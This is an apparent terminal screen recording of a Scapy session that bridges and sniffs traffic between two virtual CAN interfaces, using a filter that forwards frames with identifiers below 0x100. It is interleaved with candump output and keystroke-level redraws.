7F 1E 15 04 D8 3D 21 1A [cars@scapy folders 2019]$ ca vcan0 3B8 [7] AF 95 81 77 D2 8A 6C [cars@scapy folders 2019]$ can vcan0 3B8 [7] AF 95 81 77 D2 8A 6C vcan0 26A [2] 51 24 [cars@scapy folders 2019]$ can vcan0 340 [8] D3 EE 40 17 6C C1 93 06 [cars@scapy folders 2019]$ cand vcan0 340 [8] D3 EE 40 17 6C C1 93 06 [cars@scapy folders 2019]$ candu vcan0 340 [8] D3 EE 40 17 6C C1 93 06 vcan0 7DE [8] B3 16 95 3B 96 13 42 46 [cars@scapy folders 2019]$ candu vcan0 065 [8] CB A9 7D 30 79 51 74 74 [cars@scapy folders 2019]$ candum vcan0 065 [8] CB A9 7D 30 79 51 74 74 vcan0 546 [2] 68 9E [cars@scapy folders 2019]$ candump vcan0 557 [4] 6D 78 75 50 vcan0 6E0 [8] F2 29 62 44 45 B7 34 2C [cars@scapy folders 2019]$ candump vcan0 5CB [8] D7 BA 0D 47 1C 7F 5E 76 [cars@scapy folders 2019]$ candump vcan0 5CB [8] D7 BA 0D 47 1C 7F 5E 76 vcan0 16A [8] BE 08 A9 20 C1 6E 86 63 [cars@scapy folders 2019]$ candump vcan0 439 [8] 7F 1E 15 04 D8 3D 21 1A [cars@scapy folders 2019]$ candump v vcan0 439 [8] 7F 1E 15 04 D8 3D 21 1A vcan0 292 [8] E0 0A 97 7A 5D 48 FF 49 [cars@scapy folders 2019]$ candump v vcan0 26A [2] 51 24 [cars@scapy folders 2019]$ candump vc vcan0 26A [2] 51 24 vcan0 3F6 [7] 79 C7 5D 40 2F 28 D4 [cars@scapy folders 2019]$ candump vc vcan0 7DE [8] B3 16 95 3B 96 13 42 46 [cars@scapy folders 2019]$ candump vca vcan0 7DE [8] B3 16 95 3B 96 13 42 46 vcan0 2CF [8] 07 66 F5 7D 39 FD 0F 00 [cars@scapy folders 2019]$ candump vca vcan0 546 [2] 68 9E vcan0 65B [8] 78 70 A1 67 39 66 B6 45 [cars@scapy folders 2019]$ candump vca vcan0 6E0 [8] F2 29 62 44 45 B7 34 2C [cars@scapy folders 2019]$ candump vcan vcan0 6E0 [8] F2 29 62 44 45 B7 34 2C vcan0 127 [8] CF 79 F8 0B 6D A6 E4 6A [cars@scapy folders 2019]$ candump vcan vcan0 16A [8] BE 08 A9 20 C1 6E 86 63 vcan0 38E [8] F3 0E B3 28 6E 0A 52 36 [cars@scapy folders 2019]$ candump vcan vcan0 292 [8] E0 0A 97 7A 5D 48 FF 49 [cars@scapy folders 2019]$ candump vcan1 vcan0 292 [8] E0 0A 97 7A 5D 48 FF 49 vcan0 574 [6] B3 C1 86 62 DE 2E [cars@scapy folders 2019]$ candump vcan1 vcan0 3F6 [7] 79 C7 5D 40 2F 28 D4 vcan0 4A4 [1] 9F [cars@scapy folders 2019]$ candump vcan1 vcan0 2CF [8] 07 66 F5 7D 39 FD 0F 00 [cars@scapy folders 2019]$ candump vcan1 vcan0 2CF [8] 07 66 F5 7D 39 FD 0F 00 vcan0 65B [8] 78 70 A1 67 39 66 B6 45 vcan0 39C [0] [cars@scapy folders 2019]$ candump vcan1 vcan0 65B [8] 78 70 A1 67 39 66 B6 45 vcan0 127 [8] CF 79 F8 0B 6D A6 E4 6A vcan0 637 [8] C1 CF 87 25 07 E9 D3 27 [cars@scapy folders 2019]$ candump vcan1 vcan0 127 [8] CF 79 F8 0B 6D A6 E4 6A vcan0 38E [8] F3 0E B3 28 6E 0A 52 36 vcan0 505 [8] 40 E6 E3 27 60 23 21 00 [cars@scapy folders 2019]$ candump vcan1 vcan0 38E [8] F3 0E B3 28 6E 0A 52 36 vcan0 574 [6] B3 C1 86 62 DE 2E vcan0 021 [8] 99 89 D7 45 48 F9 14 7B [cars@scapy folders 2019]$ candump vcan1 vcan0 574 [6] B3 C1 86 62 DE 2E vcan0 4A4 [1] 9F vcan0 5E4 [8] B6 9F F9 65 72 11 09 09 [cars@scapy folders 2019]$ candump vcan1 vcan0 4A4 [1] 9F vcan0 39C [0] vcan0 3A0 [8] E0 1B 5B 3F 14 C1 0D 76 [cars@scapy folders 2019]$ candump vcan1 vcan0 39C [0] vcan0 637 [8] C1 CF 87 25 07 E9 D3 27 vcan0 78F [3] F2 EF 56 [cars@scapy folders 2019]$ candump vcan1 vcan0 637 [8] C1 CF 87 25 07 E9 D3 27 vcan0 505 [8] 40 E6 E3 27 60 23 21 00 vcan0 004 [2] 69 53 [cars@scapy folders 2019]$ candump vcan1 vcan0 505 [8] 40 E6 E3 27 60 23 21 00 vcan0 021 [8] 99 89 D7 45 48 F9 14 7B vcan0 612 [8] 33 9B 13 5B 49 A4 98 4C [cars@scapy folders 2019]$ candump vcan1 vcan0 021 [8] 99 89 D7 45 48 F9 14 7B vcan0 5E4 [8] B6 9F F9 65 72 11 09 09 vcan0 209 [5] 50 8D 6C 74 0E [cars@scapy folders 2019]$ candump vcan1 vcan0 5E4 [8] B6 9F F9 65 72 11 09 09 vcan0 3A0 [8] E0 1B 5B 3F 14 C1 0D 76 vcan0 0BD [1] 6E [cars@scapy folders 2019]$ candump vcan1 vcan0 3A0 [8] E0 1B 5B 3F 14 C1 0D 76 vcan0 78F [3] F2 EF 56 vcan0 24A [7] 27 5A 51 7A 2E A8 91 [cars@scapy folders 2019]$ candump vcan1 vcan0 78F [3] F2 EF 56 vcan0 004 [2] 69 53 vcan0 76F [8] A1 B9 9A 67 10 8B 08 5B [cars@scapy folders 2019]$ candump vcan1 vcan0 004 [2] 69 53 vcan0 612 [8] 33 9B 13 5B 49 A4 98 4C vcan0 086 [1] 24 [cars@scapy folders 2019]$ candump vcan1 vcan0 612 [8] 33 9B 13 5B 49 A4 98 4C vcan0 209 [5] 50 8D 6C 74 0E vcan0 315 [7] 49 84 70 48 19 5B E9 ────────────────────────────────────────────────────────────┴───────────────────────────────────────────────────────────[cars@scapy folders 2019]$ candump vcan1 vcan0 209 [5] 50 8D 6C 74 0E vcan0 1A9 [3] BA 4E 49 [cars@scapy folders 2019]$ candump vcan1 vcan0 0BD [1] 6E vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C [cars@scapy folders 2019]$ candump vcan1 vcan0 24A [7] 27 5A 51 7A 2E A8 91 vcan0 4E3 [5] C6 FB 11 70 A0 [cars@scapy folders 2019]$ candump vcan1 vcan0 76F [8] A1 B9 9A 67 10 8B 08 5B vcan0 4E6 [4] 7F 56 4D 06 ^C ^C[cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan1 vcan0 086 [1] 24 vcan0 23B [6] 5E 17 DE 6F AB B9 [cars@scapy folders 2019]$ s [cars@scapy folders 2019]$ sc [cars@scapy folders 2019]$ sca [cars@scapy folders 2019]$ scap [cars@scapy folders 2019]$ scapy [cars@scapy folders 2019]$ scapy INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). [cars@scapy folders 2019]$ candump vcan1 │ vcan0 086 [1] 24 │ vcan0 315 [7] 49 84 70 48 19 5B E9 │ vcan0 1A9 [3] BA 4E 49 │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C │ vcan0 4E3 [5] C6 FB 11 70 A0 │ vcan0 4E6 [4] 7F 56 4D 06 │ vcan0 23B [6] 5E 17 DE 6F AB B9 │^C[cars@scapy folders 2019]$ ────────────────────────────────────────────────────────────┴─────────────────────────────────────────────────────────── pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y |se psdump() or pdfdump(). A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft packets like it is your last scccccp///pSP///p p//Y | day on earth. sY/////////y caa S//P | -- Lao-Tze cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1 >>> [7] 0:python3.7* "cars@scapy :~/repos/t" 16:44 21-Jan-19>>> I-search backward: >>> load_layer("can") I-search backward: l >>> load_layer("can") I-search backward: lo >>> load_layer("can") I-search backward: loa >>> load_layer("can") I-search backward: load >>> load_layer("can") >>> load_layer("can") >>> load_layer("can") I-search backward: load_ >>> load_contrib("cansocket") I-search backward: load_c >>> load_contrib("cansocket") >>> load_contrib("cansocket") INFO: Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can. INFO: Use native CANSocket. Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can.>>> load_contrib("cansocket") I-search backward: s >>> load_contrib("cansocket") I-search backward: so >>> load_contrib("cansocket") I-search backward: soc >>> load_contrib("cansocket") I-search backward: sock >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: sock1 >>> sock1 = CANSocket("vcan1") I-search backward: sock1 >>> sock1 = CANSocket("vcan1") I-search backward: sock1 = >>> sock1 = CANSocket("vcan1") I-search backward: sock1 = >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: sock0 >>> sock0 = CANSocket("vcan0") I-search backward: sock0 >>> sock0 = CANSocket("vcan0") I-search backward: sock0 = >>> sock0 = CANSocket("vcan0") >>> sock0 = CANSocket("vcan0") >>> d >>> de >>> def >>> def >>> def f >>> def fo >>> def for >>> def forw >>> def forwa >>> def forwar >>> def forware >>> def forward >>> def forward( >>> def forward(p >>> def forward(pk >>> def forward(pkt >>> def forward(pkt) >>> def forward(pkt): ...: ...: r ...: re ...: ret ...: retu ...: retur ...: return ...: return ...: returnp ...: returnpk ...: returnpkt ...: returnpkt ...: returnpkt< ...: returnpkt< ...: returnpkt ...: returnpkt. ...: returnpkt.i ...: returnpkt.id ...: returnpkt.ide ...: returnpkt.iden ...: returnpkt.ident ...: returnpkt.identi ...: returnpkt.identif ...: returnpkt.identifi ...: returnpkt.identifie ...: returnpkt.identifier ...: returnpkt.identifier ...: returnpkt.identifier< ...: returnpkt.identifier< ...: returnpkt.identifier<0 ...: returnpkt.identifier<0x ...: returnpkt.identifier<0x1 ...: returnpkt.identifier<0x10 >>> def forward(pkt): ...: returnpkt.identifier<0x100 [7] 0:python3.7* "cars@scapy :~/repos/t" 16:45 21-Jan-19...: returnpkt.identifier<0x100 ...: return pkt.identifier < 0x100 ...: >>> load_contrib("cansocket") I-search backward: b >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: br >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: bri >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: brid >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) vcan1 09A [3] B3 58 5B │ vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 040 [8] 50 73 56 30 4D 6C 03 68 │ vcan0 1A9 [3] BA 4E 49 vcan1 0BD [8] E0 8E C2 63 A1 BE 80 10 │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 0BD [8] E0 8E C2 63 A1 BE 80 10 │ vcan0 086 [1] 24 vcan1 07A [6] D0 A1 B1 06 63 54 │ vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 0EE [8] 8A 2A 80 7D 55 E4 DA 63 │ vcan0 1A9 [3] BA 4E 49 vcan1 05B [3] BC 0F 7F │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 077 [5] 73 96 23 63 8F │ vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 030 [1] 6E │ vcan0 4E6 [4] 7F 56 4D 06 vcan1 002 [4] BA 92 3A 4F │ vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 07A [6] D0 A1 B1 06 63 54 │ vcan0 086 [1] 24 vcan1 0EE [8] 8A 2A 80 7D 55 E4 DA 63 │ vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 05B [3] BC 0F 7F │ vcan0 1A9 [3] BA 4E 49 vcan1 077 [5] 73 96 23 63 8F │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 030 [1] 6E │ vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 002 [4] BA 92 3A 4F │ vcan0 4E6 [4] 7F 56 4D 06 vcan1 0B8 [6] C5 FA 98 19 8B 1B │ vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0F1 [8] 26 09 A8 64 34 53 39 0F │ vcan0 086 [1] 24 vcan1 057 [8] E0 81 FB 25 D8 B9 3D 79 │ vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 00B [7] 6B F8 EC 34 FC 18 57 │ vcan0 1A9 [3] BA 4E 49 vcan1 0B4 [4] FB B2 96 32 │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 4E6 [4] 7F 56 4D 06 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 057 [8] E0 81 FB 25 D8 B9 3D 79 │ vcan0 086 [1] 24 vcan1 00B [7] 6B F8 EC 34 FC 18 57 │ vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 0B4 [4] FB B2 96 32 │ vcan0 1A9 [3] BA 4E 49 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 0E5 [4] ED 07 4E 3E │ vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 4E6 [4] 7F 56 4D 06 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 00B [7] 6B F8 EC 34 FC 18 57 │ vcan0 086 [1] 24 vcan1 0B4 [4] FB B2 96 32 │ vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 1A9 [3] BA 4E 49 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 4E6 [4] 7F 56 4D 06 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0B4 [4] FB B2 96 32 │ vcan0 086 [1] 24 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 1A9 [3] BA 4E 49 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 0ED [5] CA 57 84 61 77 │ vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 4E6 [4] 7F 56 4D 06 vcan1 0A2 [2] 90 55 │ vcan0 23B [6] 5E 17 DE 6F AB B9 >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) vcan1 0B4 [4] FB B2 96 32 vcan0 086 [1] 24 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 0E5 [4] ED 07 4E 3E vcan0 1A9 [3] BA 4E 49 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 0ED [5] CA 57 84 61 77 vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 0DF [5] 71 76 04 71 96 vcan0 4E6 [4] 7F 56 4D 06 vcan1 0A2 [2] 90 55 vcan0 23B [6] 5E 17 DE 6F AB B9 ^C[cars@scapy folders 2019]$ candump vcan0 [7] 0:bash* "cars@scapy :~/repos/t" 16:45 21-Jan-19 vcan1 0B4 [4] FB B2 96 32 vcan0 315 [7] 49 84 70 48 19 5B E9 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 vcan0 1A9 [3] BA 4E 49 vcan1 0E5 [4] ED 07 4E 3E vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 09A [8] 80 38 95 56 B5 A5 29 36 vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 0ED [5] CA 57 84 61 77 vcan0 4E6 [4] 7F 56 4D 06 vcan1 0DF [5] 71 76 04 71 96 vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0A2 [2] 90 55 ^C[cars@scapy folders 2019]$ candump vcan0 vcan1 0B4 [4] FB B2 96 32 vcan0 1A9 [3] BA 4E 49 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 0E5 [4] ED 07 4E 3E vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 vcan0 4E6 [4] 7F 56 4D 06 vcan1 0ED [5] CA 57 84 61 77 vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0DF [5] 71 76 04 71 96 ^C[cars@scapy folders 2019]$ candump vcan0 vcan1 0A2 [2] 90 55 vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 0B4 [4] FB B2 96 32 vcan0 2AF [8] 04 A4 B9 54 B8 3C 49 5C vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 0E5 [4] ED 07 4E 3E vcan0 4E6 [4] 7F 56 4D 06 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0ED [5] CA 57 84 61 77 ^C[cars@scapy folders 2019]$ candump vcan0 vcan1 0DF [5] 71 76 04 71 96 vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 0A2 [2] 90 55 vcan0 22F [0] vcan1 0B4 [4] FB B2 96 32 vcan0 4E3 [5] C6 FB 11 70 A0 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 vcan0 4E6 [4] 7F 56 4D 06 vcan1 0E5 [4] ED 07 4E 3E vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 ^C[cars@scapy folders 2019]$ candump vcan0 vcan1 0ED [5] CA 57 84 61 77 vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 0DF [5] 71 76 04 71 96 vcan0 22F [0] vcan1 0A2 [2] 90 55 vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 0B4 [4] FB B2 96 32 vcan0 4E6 [4] 7F 56 4D 06 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0E5 [4] ED 07 4E 3E ^C[cars@scapy folders 2019]$ candump vcan0 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 0ED [5] CA 57 84 61 77 vcan0 22F [0] vcan1 0DF [5] 71 76 04 71 96 vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 0A2 [2] 90 55 vcan0 66B [0] vcan1 0B4 [4] FB B2 96 32 │ vcan0 4E6 [4] 7F 56 4D 06 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0E5 [4] ED 07 4E 3E │^C[cars@scapy folders 2019]$ candump vcan0 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 22F [0] vcan1 0DF [5] 71 76 04 71 96 │ vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 0A2 [2] 90 55 │ vcan0 66B [0] vcan1 0B4 [4] FB B2 96 32 │ vcan0 23B [6] 5E 17 DE 6F AB B9 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │^C[cars@scapy folders 2019]$ candump vcan0 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 22F [0] vcan1 0ED [5] CA 57 84 61 77 │ vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 0DF [5] 71 76 04 71 96 │ vcan0 66B [0] vcan1 0A2 [2] 90 55 │ vcan0 7C0 [5] 97 A0 AD 22 C7 [7] 0:candump* "cars@scapy :~/repos/t" 16:45 21-Jan-19 vcan1 0B4 [4] FB B2 96 32 │^C[cars@scapy folders 2019]$ candump vcan0 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 22F [0] vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 0ED [5] CA 57 84 61 77 │ vcan0 66B [0] vcan1 0DF [5] 71 76 04 71 96 │ vcan0 7C0 [5] 97 A0 AD 22 C7 vcan1 0A2 [2] 90 55 │ vcan0 4C1 [8] A3 56 7D 54 4F ED D5 43 vcan1 0B4 [4] FB B2 96 